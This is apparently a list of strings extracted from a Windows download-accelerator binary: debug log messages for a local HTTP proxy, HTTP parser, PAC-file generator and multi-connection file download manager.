[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer - LSP MODE

[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer (PassThrough) - LSP MODE

[HttpProxyServer::StartListening] Listening on port: %d

[HttpProxyServer::StartListening] ___Error Listen Socket Initialize failed

[HttpProxyServer::StartListening] ___Error listening on port: %d

[HttpProxyServer::StartListening] ___Error failed to bind the Listen Socket

[HttpProxyServer::StartListening] ___Error Testing Mode - failed to bind Listen Socket default port

[HttpProxyServer::StartListening] Try listening on IP: %s, Port: %d

[HttpProxyServer::StartListening] Listen port restored to default: %d

[HttpProxyServer::StartListening] ___Error Configuration not valid

[HttpProxyServer::StartListening]

HttpProxyServer::StartListening

[HttpProxyServer::StopAllAccelerations]

[HttpProxyServer::GetDestinationIpAndPort] ___Error getting the destination details. Local: %s:%d

[HttpProxyServer::GetDestinationIpAndPort] Local: %s:%d, Remote: %s:%d, PID: %d

[HttpProxyServer::GetDestinationIpAndPort] ___Error spIRedirectController == NULL

[HttpProxyServer::InitializationThread] ___Error listening to network traffic

[HttpProxyServer::InitializationThread] Listening to network traffic.

[HttpProxyServer::InitializationThread] Going to listen to network traffic

[HttpProxyServer::InitializationThread] ___Error HttpProxyServer not valid

[HttpProxyServer::InitializationThread]

[HttpProxyServer::ReleaseAllClosedFDMs] - All closed FDMs where released.

[HttpProxyServer::ReleaseAllClosedFDMs] - FDM=%d has %d RefCount.

[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing FDM=%d.

[HttpProxyServer::ReleaseAllClosedFDMs] - There are %d FDMs to release.

[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing all closed FDMs.

[HttpProxyServer::Start] ___Error hInitializationThread failed: %d

[HttpProxyServer::Start] hInitializationThread - S_OK

[HttpProxyServer::Start] Waiting for Initialzation Thread...

HttpProxyServer::Start

[HttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.

[HttpProxyServer::AcceptConnection] Going to initialize Worker: %d.

[HttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.

[HttpProxyServer::AcceptConnection] ___Error getting the connected IP and port of the socket %d.

[HttpProxyServer::AcceptConnection] ___Error accepting a new socket

[HttpProxyServer::Work] --- Exit event was set ---

[HttpProxyServer::Work] - Start...

[HttpProxyServer::FindDownloadMgr] FDM=%d - Was stopped.

[HttpProxyServer::FindDownloadMgr] FDM=%d - Stopping...

[HttpProxyServer::FindDownloadMgr] FDM=%d - State is completed, deleting the FDM

[HttpProxyServer::FindDownloadMgr] The FDM=%d state is Not completed - Add Request to FDM

[HttpProxyServer::FindDownloadMgr] The FDM=%d is connected to %s : %d ---> and not to %s : %d

[HttpProxyServer::FindDownloadMgr] Worker was found ! (ID Metch)

[HttpProxyServer::FindDownloadMgr] ___Warning - In caching, use a new one.

[HttpProxyServer::FindDownloadMgr] ___Warning - Worker was found but ID not match

[HttpProxyServer::FindDownloadMgr] Worker was not found !

[HttpProxyServer::RemoveDownloaderFromMap] FDM=%d - Worker:%d

HttpProxyServer::RemoveDownloaderFromMap

[HttpProxyServer::FDMWasStopped] FDM=%d <-> Local (%d)

HttpProxyServer::FDMWasStopped

[HttpProxyServer::Stop] The Stop process was finished !

[HttpProxyServer::Stop] - Workers - Deleted !

[HttpProxyServer::Stop] - Workers - Deleting...

[HttpProxyServer::Stop] - Listen - Stopped !

[HttpProxyServer::Stop] - Listen - Stopping...

[HttpProxyServer::Stop] - NetworkEventsSink - Stopped !

[HttpProxyServer::Stop] - NetworkEventsSink - Stopping...

[HttpProxyServer::Stop] Starting the Stop process...

HttpProxyServer::OnError

[HttpProxyServer::BuildElsePacString] Direct -> ieDomain = %s iePort = %d

return "PROXY %s:%d";

[HttpProxyServer::BuildElsePacString] With ie Proxy Details ieDomain = %s iePort = %d

[HttpProxyServer::BuildElsePacString] Domain ieDomain = %s iePort = %d

127.0.0.1

[HttpProxyServer::IsRequestMatchRedirectionRules] can't get configuration

[HttpProxyServer::IsRequestMatchRedirectionRules] handle on mode, return true

[HttpProxyServer::IsRequestMatchRedirectionRules] Rule not found for Domain: %s, IP: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] Domain & Port found in Rule: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] Domain found in Rule: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] ___Error getting IAccelerationConfiguration

[HttpProxyServer::GetDestinationDomainAndPort] Domain: %s, Port: %d, URI: %s

[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain from URI

[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain and the port from the URI field.

[HttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).

[HttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).

[HttpProxyServer::OnHeader] Worker %u IsRequestMatchRedirectionRules matched - try to accelerate, PassThrough OFF

[HttpProxyServer::OnHeader] *** IsRequestMatchRedirectionRules not matched - PassThrough ON ***

[HttpProxyServer::OnHeader] ___Error local loop detected

[HttpProxyServer::OnHeader] ___Error getting the IP of the domain %s.

[HttpProxyServer::OnHeader] ___Error (TransparentMode) getting the destination IP and port from the header, for Worker:%d

[HttpProxyServer::OnHeader] ___Warning getting the destination IP and port for Worker:%d (nLocalPort:%d)

[HttpProxyServer::OnHeader] ___Error building the request from Worker:%d

[HttpProxyServer::OnHeader] ___Error (ProxyMode) getting the destination IP and port from the header, for Worker:%d

[HttpProxyServer::OnHeader] ___Error Unsupported Mode from Worker:%d !!!

[HttpProxyServer::OnHeader] ___Error getting the connected IP and Port for Worker:%d

[HttpProxyServer::OnHeader] New header from Worker:%d.

[HttpProxyServer::GetOriginalRequest] Original request was found: %s

[HttpProxyServer::InsertDownloaderToMap] FDM=%d - Worker:%d

HttpProxyServer::InsertDownloaderToMap

[HttpProxyServer::GetFileDownloadManager] FDM=%d for Worker:%d, IP:%s, Port:%d, was found.

[HttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.

[HttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.

[HttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP:%s, Port:%d, was created.

[HttpProxyServer::GetFileDownloadManager] FDM not found, Creating new one. (Worker:%d, IP:%s, Port:%d)

[HttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker:%d, IP:%s, Port:%d.

return "PROXY 127.0.0.1:%d";

shExpMatch(host, "%s")

function FindProxyForURL(url, host)

[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IConfiguration.

[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IAccelerationConfiguration.

HttpProxyServer::GetRedirectRulesInPacFormat

%%.%ds

[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: WriteDataToFile() failed: %s

[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: GetRedirectRulesInPacFormat() failed: %s

[HttpProxyServer::WriteRedirectRulesToPacFile]

[HttpProxyServer::~HttpProxyServer] - Leave

[HttpProxyServer::~HttpProxyServer] - Enter

[HttpProxyServer::SetOriginalRequest] Location: %s

[HttpProxyServer::SetOriginalRequest] Replacing: %s

[HttpProxyServer::HttpProxyServer]

hXXp://

HTTP_Version_String

HTTP/1.0

HttpParser::UpdateBuffer

[HttpParser::Reset]

[HttpParser::ValidateEndOfLine] ___Error: Unsupported end of line option.

[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c.

[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c%c.

[HttpParser::ValidateEndOfLine] ___Error: Invalid end of line: %c%c.

[HttpParser::LastChunkReceivedCompletely] Temporary nChunkSize:%d

[HttpParser::LastChunkReceivedCompletely] Received all %d bytes.

[HttpParser::LastChunkReceivedCompletely] Missing %d/%d bytes.

HttpParser::Initialize

HttpParser::GetLine

[HttpParser::GetChunkSize] Missing %d/%d bytes.

[HttpParser::GetChunkSize] After Adding nBytesInBuffer. nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding nBytesInBuffer. nChunkSize:%d

[HttpParser::GetChunkSize] Received all %d bytes of the current chunk.

[HttpParser::GetChunkSize] After Adding Trailer nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding Trailer nChunkSize:%d

[HttpParser::GetChunkSize] After Adding nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding nChunkSize:%d

[HttpParser::GetChunkSize] Next chunk details: (header:%d bytes, size:%d bytes).

[HttpParser::GetChunkSize] The buffer size is %d bytes.

[HttpParser::GetChunkDetails] The size of the chunks is %d bytes.

[HttpParser::GetChunkDetails] ___Error Unknown end of line.

[HttpParser::GetChunkDetails] Going to analyze: BufferSize(%d), HeaderSize(%d), ChunkBufferSize(%d).

[HttpParser::ParseLine] ___Error: The field separator was not found in the line %.600s

HttpParser::ParseLine

HttpParser::GetFieldDataString

HttpParser::GetFieldDataNumber

HttpParser::SetFieldData

HttpParser::AddLineDetailsToMap

[HttpParser::IsDataAvailable] Undefined - %d data bytes

[HttpParser::IsDataAvailable] Response code has no body - no data

[HttpParser::IsDataAvailable] Request - %lld/%lld, Available: %d, Missing: %lld

[HttpParser::IsDataAvailable] Content Length - %lld/%lld, Available: %d, Missing: %lld

[HttpParser::IsDataAvailable] Chunks size - %d bytes

[HttpParser::IsDataAvailable] ___Error The Header is not complete yet...

[HttpParser::IsConnectionClose] The Connection field exists:%s

[HttpParser::IsConnectionClose] HTTP/1.1 - The Connection field does NOT exists - using Keep-Alive as default

[HttpParser::IsConnectionClose] HTTP/1.0 - The Connection field does NOT exists - using Close as default

[HttpParser::GetContentLength] Content-Length: %lld

[HttpParser::GetDataLengthFromRanges] Range fields does not exists

[HttpParser::GetDataLengthFromRanges] Total Data Length = %lld, StartOfRange = %lld, EndOfRange = %lld

[HttpParser::GetDataLengthFromRanges] End Position == 0

[HttpParser::GetDataLengthFromRanges] Filesize: %lld

[HttpParser::GetDataLengthFromRangesField] Range fields does not exists

[HttpParser::GetDataLengthFromRangesField] Total Data Length = %lld

[HttpParser::GetRangesFromHeaderField] Range fields does not exists

[HttpParser::GetRangesFromHeaderField] StartOfRange = %lld, EndOfRange = %lld

[HttpParser::GetRangesFromHeaderField] Filesize: %lld

[HttpParser::IsValid] ___Error --- NOT an HTTP request ---

HttpParser::SetFieldDataNumber

[HttpParser::AnalyzeFirstLine] ___Error The number of tokens in the line %.600s is not valid.There is not enough memory to allocate new buffers.

[HttpParser::AnalyzeFirstLine] ___Error Invalid HTTP Header: %.600s

HTTP/

HttpParser::AnalyzeFirstLine

[HttpParser::SetConnectionType] Adding - Connection: %s (%s)

[HttpParser::SetConnectionType] %s: %s (%s)

[HttpParser::UpdateDataEncodingType] Request - No Encoding.

[HttpParser::UpdateDataEncodingType] Request Post/Put - No Encoding.

[HttpParser::UpdateDataEncodingType] Request Connect - No Encoding.

[HttpParser::UpdateDataEncodingType] - No Encoding.

[HttpParser::UpdateDataEncodingType] - The data encoding type is chunked.

[HttpParser::ParseHeader] Complete - Header size: %d

HttpParser::ParseHeader

HttpParser::GetAllFieldDataStrings

[HttpHeader::BuildFirstLineInHeader] ___Error building the first line if the header. The header type is undefined.

[HttpProxyRemote::SetRangesInHeaderField] ___Error: The function SetFieldData failed.

[HttpHeader::GetRangesFromPathURI] StartOfRange: %lld, EndOfRange: %lld

[HttpHeader::GetRangesFromPathURI] The token %s was not found in the URI

[HttpHeader::GetRangesFromPathURI] ___Error: The field %s does not exist.

[HttpHeader::GetRangesFromURI] StartOfRange: %lld, EndOfRange: %lld

[HttpHeader::GetRangesFromURI] The token %s was not found in the URI

[HttpHeader::GetRangesFromURI] ___Error: The field %s does not exist.

[HttpHeader::GetDomainAndPortFromURI] Domain: %s, Port: %d

[HttpHeader::GetDomainAndPortFromURI] ___Error No URI empty

[HttpProxyRemote::SetRangesInPathURI] ___Error: The function SetFieldData field.

%s%lld

[HttpHeader::SetRangesInPathURI] ___Error: The field %s does not exist.

[HttpProxyRemote::SetRangesInURI] ___Error: The function SetFieldData field.

%s%lld-

%s%lld-%lld

[HttpHeader::SetRangesInURI] ___Error: The field %s does not exist.

[HttpProxyLocal::SocketWasConnected] FDM=%d (%d)

[HttpProxyLocal::SocketAcceptedConnection] FDM=%d (%d)

[HttpProxyLocal::SocketWasClosed] FDM=%d (%d)

[HttpProxyLocal::ErrorOnSocket] FDM=%d (%d)

[HttpProxyLocal::Stop] FDM=%d (%d)

[~HttpProxyLocal - %p] FDM=%d (%d).

C:\Temp\Socket%d.bin

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request data *** (wrote %lld data bytes).

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Data.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the data written.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The data size is %d/%d bytes.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker has no data to send.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker has %d data bytes in the buffer to send

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching to DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request header ***.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Wroker is switching to DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Header.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the Header written.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker was stopped (in HEADER state)

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error The header is not valid - switch to PassThrough mode!

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning The header is not complete

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in HEADER state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - NO PassThrough mode

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - IN PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error: JobInfo is NULL.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Going to analyze %d bytes.

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): After writing %d bytes into upper level

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Going to write the %d bytes into the upper level

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Read %d bytes from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): ___Error: Reading from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Reading from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyLocal - %p] FDM=%d (%d).

C:\Temp\Socket_%d_%lld_%d.bin

C:\Temp\Socket_%d.bin

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Worker was STOPPED.

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Setting the cache writer as finished.

[HttpProxyWorker::Stop] FDM=%d (%d) - The socket object was deleted.

[HttpProxyWorker::Stop] FDM=%d (%d) - Going to delete the socket object.

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Going to stop the worker.

[HttpProxyWorker::Stop] FDM=%d (%d)

[HttpProxyWorker::ErrorOnJob] FDM=%d (%d)

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - After writing %d/%d bytes to socket %d.

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - Before writing %d bytes to socket %d.

HttpProxyWorker::Write

[RtmpProxyWorker::Write] FDM=%d (%d),Req:%d ___Warning No bytes to write

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d ___Error is not ready

[HttpProxyWorker::OnCloseEvent] FDM=%d (%d),Req:%d - Socket %d was closed.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error initializing socket

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** socket %d was Initialized ***.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error Binding to cellular interface - set to default interface

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d - Binded to Cellular Interface.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** new socket ***

HttpProxyWorker::InitializeSocket

[HttpProxyWorker::Initialize] FDM=%d (%d): ___Error initializing the worker, Err: %d.

[HttpProxyWorker::Initialize] FDM=%d (%d) was initialized.

HttpProxyWorker::Initialize

[HttpProxyWorker::DumpBufferToLogFile] FDM=%d (%d),Req:%d

[~HttpProxyWorker - %p] FDM=%d (%d).

[HttpProxyWorker - %p] FDM=%d (%d).

[JobInfo::GetPositionField] ___Error: The field %d is not a position field.

[JobInfo::SetPositionField] ___Error: The field %d is not a position field.

[JobInfo::SetPositionField] Job:%d - RANGE_CONTENT_LENGTH - %lld

[JobInfo::SetPositionField] Job:%d - TIME_CURRENT_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - TIME_END_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - TIME_START_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - RANGE_END_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - RANGE_START_POSITION - %lld

[JobInfo::GetDownloadStartPosition] Job:%d - %lld

[JobInfo::GetCurrentTimePosition] Job:%d - %lld

[JobInfo::SetDataHeaderBytes] Job:%d has Data Header: %lld bytes to discard

[JobInfo::GetBooleanField] ___Error: The field %d is not a boolean field.

[JobInfo::SetBooleanField] ___Error - The field %d is not a boolean field.

[JobInfo::SetBooleanField] Job:%d - IS_CELLULAR_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_DISCARDED - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_UPDATED - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_TIME_ACCELERATION_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_ACTIVE_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_MASTER_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_DOWNLOAD - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_SHORTEN - (%d --> %d)

[JobInfo::GetCounter] ___Error: The field %d is not a counter field.

[JobInfo::SetCounter] ___Error: The field %d is not a counter field.

[JobInfo::Reset] Job:%d

[JobInfo::GetBytesLeftToDownloaded] Job:%d - Has no more bytes to download. (state:%d)

[JobInfo::GetBytesLeftToDownloaded] Job:%d - Left %lld bytes

[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download. (state:%d)

[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download.

[JobInfo::SetDownloadInactivityTimeout] Job:%d (state:%d) - InactivityMaxSeconds = %d

[JobInfo::IsAlive] ___Error Job:%d - did not download for a lot of time!

[JobInfo::CanBeRecovered] Job:%d - %d/%d

[JobInfo::GetTimeToRecovery] Job:%d - Time since last recovery: %d > %d

[JobInfo::GetTimeToRecovery] Job:%d - Time till next recovery: %d < %d

[JobInfo::GetTimeToRecovery] Job:%d - No time between recoveries

[JobInfo::SetTimeBetweenRecoveries] Job:%d - Time between recoveries: %d

[JobInfo::SetValidationBytes] Job:%d - Bytes: %d

[JobInfo::SetValidationBytes] ___Warning Job:%d - not enough bytes: %d < %d

[JobInfo::ValidateConsistency] ___Error Job:%d - Not Downloading the same job's Data after Reconnect!

[JobInfo::ValidateConsistency] Job:%d - *** Match OK ***

[JobInfo::DecrementDataHeaderBytes] Job:%d decremented Data Header: %lld bytes and has more: %lld bytes to discard

[JobInfo::DecrementBytesToDiscard] Job:%d decremented %lld bytes and has more %lld bytes to discard

[JobInfo::SetState] Job:%d, State: %d, Force: %d

[JobInfo::ResetState] Job:%d

[JobInfo::IncrementCounter] ___Error: The field %d is not a counter field.

[JobInfo::UpdateJobState] Job:%d - wrote all the data to the client. (state:%d)

[JobInfo::UpdateJobState] Job:%d - has no more bytes to download. (state:%d)

[JobInfo::SetRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::UpdateRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::UpdateTimeRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::IncrementDataHeaderBytes] Job:%d incremented Date Header: %lld bytes and has more: %lld bytes to discard

[JobInfo::SetBytesToDiscard] Job:%d has %lld bytes to discard

[JobInfo::IncrementBytesToDiscard] Job:%d incremented %lld bytes and has more %lld bytes to discard

[JobInfo::ValidateContinuousness] ___Error Job:%d with Job:%d (Bytes: %d) - Continues jobs does not match!

[JobInfo::ValidateContinuousness] Job:%d with Job:%d (Bytes: %d) - *** Match OK ***

[JobInfo::ValidateContinuousness] ___Warning Job:%d - Next job has no validation bytes

[JobInfo::ValidateContinuousness] ___Warning Job:%d - No next job to compare

[JobInfo] Job:%d

[JobInfo] Job:%d (%lld-%lld).

[~JobInfo] Job:%d (%lld-%lld).

************ End: d:d:d::d

************ Start: d:d:d::d

[JobInfo::RegisterToChangeManaer] FDM=%d, Job:%d

[JobInfo::RegisterToChangeManaer] ___Error FDM=%d, Job:%d - RegisterOnChanges

pIHttpProxyServer

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can be stopped.

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. cmState is %d.

[FileDownloadMgr::StopDownload] FDM=%d, Stopping...

[FileDownloadMgr::StopDownload] FDM=%d - Allow to complete prefetching...

[FileDownloadMgr::StopDownload] FDM=%d

[FileDownloadMgr::CreateCacheWriter] FDM=%d ___Error creating Cache Writer.

[FileDownloadMgr::StopAcceleration] **** FDM=%d - Going to stop the acceleration ****.

[FileDownloadMgr::StopAcceleration] FDM=%d

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- After calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- Before calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d

[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- After calling to OnData() ---.

[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- Before calling to OnData() ---.

[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- After calling to OnStop() ---.

[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- Before calling to OnStop() ---.

[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Already reported (SEEK) ---

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- After calling to ReportOnTrialExpiredAcceleration() ---.

[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- Before calling to ReportOnTrialExpiredAcceleration() ---.

[FileDownloadMgr::AbortAcceleration] FDM=%d

[FileDownloadMgr::IsDownloadComplete] FDM=%d *** Download Completed *** (%lld >= %lld)

[FileDownloadMgr::SetDownloadSize] FDM=%d - Download size: %lld (%lld), bForce: %d

[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Abort Acceleration ***

[FileDownloadMgr::OnInterfaceDown] FDM=%d - ip: %d, name: %s, 3G: %d

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d ### Stopping the FDM - Master was closed without HTTP header

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - ### Master Remote Connection was closed

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - Master Remote completed

[FileDownloadMgr::OnRequestComplete] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d (3G: %d)

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d) - %d Requests are pending...

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - *** FINISHED *** (%d/%d)

[FileDownloadMgr::OnWorkerConnectionReady] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::ResumeCaching] FDM=%d - Resuming...

[FileDownloadMgr::ResumeCaching] FDM=%d

[FileDownloadMgr::RestartWorkerToRedirectDomain] FDM=%d (%d),Req:%d ___Error - ReStartCurrentJob to: %s

pHttpProxyRemote

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error SetRedirectFilter

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error IRedirectController invalid

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d - Domain: %s, Port: %d

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - Range size == Master size

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - pJobInfo == NULL

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - m_n64MasterWorkerContentLength <= 0

[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- After calling to OnStartAcceleration() ---.

[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- Before calling to OnStartAcceleration() ---.

[FileDownloadMgr::NotifyOnStop] FDM=%d - Going to stop the Local peer (%d)

[FileDownloadMgr::NotifyOnStop] FDM=%d

[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Transparent Mode)

[FileDownloadMgr::IsToCloseLocal] FDM=%d - Transparent Mode - Master was not closed - wait for new requests...

[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Proxy Mode)

[FileDownloadMgr::IsToCloseLocal] FDM=%d - Proxy Mode - Do not close the Local Worker yet - wait for new requests...

[FileDownloadMgr::FindWorkerByJob] FDM=%d ___Error worker not found for job %d.

[FileDownloadMgr::GetCacheData] FDM=%d *** Create New Cache Data *** Url: %s

[FileDownloadMgr::GetCacheData] FDM=%d *** Use existing Cache Data CD:%d ***

[FileDownloadMgr::GetCacheData] FDM=%d - Download - no caching needed

[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid IHttpCacheManager

[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid url

[FileDownloadMgr::GetCacheData] FDM=%d

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Warning *** Master worker passed all ranges. ***

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of worker (%d) updated to %lld.

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Error: The function FindWorkerByJob failed.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - There are %lld bytes left to discard.

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d (Iter: %d), Range: %lld-%lld, Overlapped and Closed due to (job: %d)

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d ___Error update worker (%d). Must discard %lld bytes.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - All the workers must discard %lld bytes.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of the first worker (%d) was updated to %lld.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d First worker end position: %lld

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Worker (%d) downloaded %lld data bytes

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Going update the workers ranges.

[FileDownloadMgr::AddRequestToQueue] FDM=%d - Req:%d was added. Pending requests: %d

[FileDownloadMgr::GetRequestFromQueue] FDM=%d - Req:%d was removed. Pending requests: %d

[FileDownloadMgr::GetRequestFromQueue] FDM=%d - No more pending requests.

[FileDownloadMgr::GetRequestFromQueue] FDM=%d

[FileDownloadMgr::ReturnRequestToQueue] FDM=%d - Req:%d was returned. Pending requests: %d

[FileDownloadMgr::ReturnRequestToQueue] FDM=%d

[FileDownloadMgr::AddWorkerToList] FDM=%d There are %d workers

[HttpFileDownloadMgr::FindMasterWorker] FDM=%d ___Warning Master Worker not found !

[FileDownloadMgr::GetMasterWorker] FDM=%d (%d) The Master worker status is %s.

[FileDownloadMgr::Reset] FDM=%d - Jobs: %d, Workers: %d

[FileDownloadMgr::ReportNoAccelerationReason] FDM=%d ,%s

WARNING: Master passed all workers

WARNING: HD Acceleration not supported

ERROR: Dailymotion seek not supported

WARNING: Server in non support range servers list

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Job: %d), Range: %lld-%lld

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range : %lld-%lld, Overlapped and closed due to (job: %d)

[FileDownloadMgr::UpdateTimeWorkersRange] FDM=%d (%d),Req:%d - (Iter: %d), Range: %lld-%lld

